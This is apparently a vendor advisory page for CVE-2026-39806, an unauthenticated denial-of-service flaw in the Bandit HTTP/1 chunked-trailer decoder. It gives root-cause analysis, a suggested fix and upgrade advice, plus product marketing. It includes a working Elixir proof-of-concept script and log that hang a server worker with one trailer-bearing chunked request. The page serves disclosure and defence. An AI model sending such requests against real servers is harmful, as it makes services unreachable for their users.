CVE-2026-39806

CVE-2026-39806 is a high-severity security vulnerability in bandit (erlang), affecting versions >= 1.6.0, < 1.11.1. It is fixed in 1.11.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest], i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself, the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress, when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

  • one 5-byte chunk "hello"
  • the last-chunk marker 0\r\n
  • one trailer field X-Trailer: 1\r\n
  • the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

  1. elixir script.exs
  2. Observe the TIMEOUT, worker is pinned in do_read_chunked_data!/5 log line.
  3. Each additional concurrent client sending the same request consumes one more worker process.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever, pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms, server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT, worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()
12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT, worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies, the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

CVE-2026-39806 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.11.1); upgrading removes the vulnerable code path.

Affected versions

bandit (>= 1.6.0, < 1.11.1)

Security releases

bandit → 1.11.1 (erlang)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade bandit to 1.11.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-39806? CVE-2026-39806 is a high-severity security vulnerability in bandit (erlang), affecting versions >= 1.6.0, < 1.11.1. It is fixed in 1.11.1.
  2. How severe is CVE-2026-39806? CVE-2026-39806 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of bandit are affected by CVE-2026-39806? bandit (erlang) versions >= 1.6.0, < 1.11.1 is affected.
  4. Is there a fix for CVE-2026-39806? Yes. CVE-2026-39806 is fixed in 1.11.1. Upgrade to this version or later.
  5. Is CVE-2026-39806 exploitable, and should I be worried? Whether CVE-2026-39806 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-39806 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-39806? Upgrade bandit to 1.11.1 or later.

Other vulnerabilities in bandit

Stop the waste.
Protect your environment with Kodem.